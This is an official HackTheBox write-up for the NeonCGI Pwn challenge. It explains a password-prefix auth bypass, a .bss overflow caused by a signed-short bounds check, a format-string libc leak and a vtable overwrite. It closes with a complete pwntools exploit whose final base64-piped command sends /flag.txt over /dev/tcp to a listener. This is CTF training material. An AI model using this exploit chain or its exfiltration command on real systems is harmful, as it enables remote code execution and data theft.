



HACKTHEBOX



NeonCGI

15th 5 2025

Prepared By: clubby

Challenge Author: s4muui

Difficulty: **Hard**

Classification: Official

Synopsis

NeonCGI is a Hard Pwn challenge. NeonCGI is a classic C web app built using lighttpd and libfcgi. The challenge centers on FastCGI app that hides a memory corruption bug: a buffer overflow in the .bss section. Thanks to some careless handling of user input, it's possible to smash a global buffer and overwrite adjacent data, opening the door to all sorts of mischief. Your goal? Figure out how to overflow the right buffer, mess with the app's memory layout, and use that to bypass protections and read the flag.

Skills Required

- C/C++ Source Code Review.
- ret2printf.
- ret2libc.

Skills Learned

- Learn how to bypass strncmp when used incorrectly.
- Learn how to do ret2printf.
- Learn how to turn 2-bytes overwrite in the .bss section into RCE.

Solution

Finding the vulnerability

1. Auth Bypass in `login_func` function

```
if(parse_post_data("password", password, MAX_PASSWORD+1)){
    if (strcmp(valid_password, password, strlen(password)) == 0) {
        // valid password route
        ...
    }
}
```

Since all this checks is only `strlen(password)` and since `password` is user controlled then if we send a valid one-byte of the password it will bypass this. and that's easily bruteforced I might add.

2. Non-sufficient bounds check when inserting into the `logs` buffer.

looking at the source code in `append_log` you can find this code snippet and it looks suspicious since the checked values are `signed short`s instead of a more appropriate type for a size like `size_t`.

```
...
if (logs_offset < 0 || (short)(logs_offset + len) > MAX_LOGS_SIZE - 2)
    logs_offset = 0;
...
```

And since the `logs` buffer is conveniently `0x8000` bytes long. suspiciously like `SHRT_MAX+1` then if the `logs_offset` is `0x7f00` and `len` is `0x3ff` this check will pass since the result in the left side is now `0x82ff` or `-32001`.

Exploitation

Step 1: Understanding the Authentication Bypass

The first hurdle is the login. Thanks to a classic mistake in the use of `strcmp`, you only need to guess the first character of the password to get in. This is a great example of why you should always compare the full length of the expected value, not the user input! In practice, you can automate this with a simple brute-force script that cycles through printable characters until you get a valid session.

Step 2: Triggering the Buffer Overflow

Once authenticated, you gain access to the log submission feature. Here's where things get interesting: the application uses a large buffer in the `.bss` section to store logs, but the bounds check is flawed. By carefully submitting messages, you can fill the buffer right up to its limit and then overflow it by a few bytes. This overflow lets you overwrite adjacent data structures, such as the vtable pointers, which is critical for the next stage.

Step 3: Leaking Memory Addresses

To reliably exploit the overflow, you need to know where important things live in memory - like libc. The trick is to jump to `plt.printf` and by injecting a series of `%p` format specifiers, you can get the application to print out pointers from its stack. This gives you the information you need to calculate the base addresses for libc for later use.

But there's a couple of hurdles in the way:

- libfcgi overwrites all the important I/O functions that we use for leaks like `printf` and they all have to obey the FastCGI protocol when talking to the web server. [source](#)

```
/*
 * Replace standard types, variables, and functions with FastCGI wrappers.
 * Use undef in case a macro is already defined.
 */

#undef FILE
#define FILE      FCGI_FILE

#undef stdout
#define stdout    FCGI_stdout
...
#undef printf
#define printf    FCGI_printf
...
```

- While libfcgi doesn't require the programmer to send a full http response to the user. For example the status code can be omitted as well as the headers, Unless the programmer already sent something before the `\r\n\r\n` line -which effectively ends the headers- in that case there has to be a `:` in the headers. So this can be a valid response sent to the sever and subsequently to the user using `FCGI_printf`.

```
/login:[ghibberish_chars]\r\n\r\n
[leaks]
```

- `FCGI_printf` doesn't support positional arguments like for example `%7$p` but that's easy to get around by doing `%p` 7 times.

Step 4: Overwriting the Vtable Pointer

Armed with your memory leaks, you can now perform a targeted overflow to overwrite the vtable pointer with the address of `system` in libc. This is a textbook example of control flow hijacking: by redirecting a function pointer, you can make the application execute arbitrary commands.

Step 5: Achieving Code Execution

For the final step, you craft a payload that will execute a shell command of your choice. To bypass input restrictions like the URI not accepting `%2f` chars, you can encode your command in base64 and have it decoded and executed on the target. The classic move here is to exfiltrate the flag by sending it over a network connection you control.

Exploit

```
import requests
from pwn import *
from urllib.parse import quote

context.log_level = 'CRITICAL'

LOGS_MAX      = 0x8000 - 2
CRLF          = b'\r\n'

e, libc       = ELF('neon', checksec=False) , ELF('libc/libc.so.6', checksec=False)
session_id    = None

# starting a socket for a connect back
sock          = listen()

# parameters that needs to be set
URL           = 'http://localhost:1234'
CONNECT_BACK  = f'172.17.0.1:{sock.lport}'

RHOST, RPORT  = URL.split('/')[1].split(':')
LHOST, LPORT  = CONNECT_BACK.split(':')

def login(p:str):
    r = requests.post(
        f'{URL}/login',
        data={'password': p}
    )
    if r.cookies.get('session_id', None):
        return r.cookies['session_id']
    else:
        return None

def submit(message:bytes):
    requests.post(
        url      = f'{URL}/submit',
        cookies  = {'session_id' : session_id},
        data     = {'message'    : message}
    )
    return

def overflow(vtable_overwrite:bytes , l:pwnlib.log.Progress = None):
    logs_offset = 0
```

```

while logs_offset <= (LOGS_MAX-23):
    len = 1023 % (LOGS_MAX-logs_offset)
    if len - 23 < 0:
        break
    if l: l.status('Filling the logs...'+ '.'*(logs_offset//950))
    submit(b'A'*(len-23))
    logs_offset += len
submit(b'B'*10 +vtable_overwrite)

def url_encode(data : bytes) -> bytes:
    return b''.join([b'%'+ hex(i)[2:].zfill(2).encode() for i in data])

# bypass auth - password doesn't change between failed attempts . only binary restarts
if not session_id:
    with log.progress('Bypassing Auth...\t\t', level=logging.CRITICAL) as l:
        for i in string.printable:
            l.status(i)
            session_id = login(i)
            if session_id:
                l.success(f'Session Acquired -> {session_id}')
                break
        else:
            l.failure('Failed to acquire session id')
            exit(1)

idx = 0
with log.progress('Bruteforcing...\t\t', level=logging.CRITICAL) as l:
    while True:
        l.status(f'0x{idx:02x}/0x{2**8:02x}')
        # Overflow
        overflow(p16(e.plt['FCGI_printf']&0xffff), l)

        # Leaks# Leaks - we need some percision here
        req = b''
        req += b'GET /login:' + url_encode(b'%c'*20 + b'%p, '*20) + b' HTTP/1.1' + CRLF
        req += b'Host: %s:%s'%(RHOST.encode(), RPORT.encode()) + CRLF
        req += b'Cookie: session_id=' + (b'%0d'*8+b'%0a'*8)*2 + CRLF
        req += CRLF

        # l.status('Wishing for leaks...')
        r = remote(RHOST, RPORT)
        r.send(req)

        # here comes the leaks
        r.recvuntil(b'\r\n\r\n') # skip the headers
        leaks = r.recvall(timeout=1)
        r.close()

        # check if we crached the binary already
        if b'500 Internal Server Error' in leaks:
            continue

```

```

libc_leak    = int(leaks.split(b',')[2],base=16) - 0x2a1ca
bin_leak     = int(leaks.split(b',')[6],base=16) - 0x2510

l.status(f"Libc base: {hex(libc_leak)}")

e.address     = bin_leak
libc.address  = libc_leak

# Exploitation . overflow then write system into the vtable
l.status('Writing System to vtable...')
sleep(0.5)
overflow(p64(libc.sym.system)[:6],l)

command = b64e(f'cat /flag.txt > /dev/tcp/{LHOST}/{LPORT}'.encode())

r = requests.post(
    url      = f'{URL}/login'+quote(f";echo {command}|base64 -d|bash"),
    cookies = {'session_id' : session_id},
)

l.status('Waiting for flag...')
_ = sock.wait_for_connection()
x = sock.recvall()

l.success(x.decode().strip())

r.close() ; sock.close()
break

```

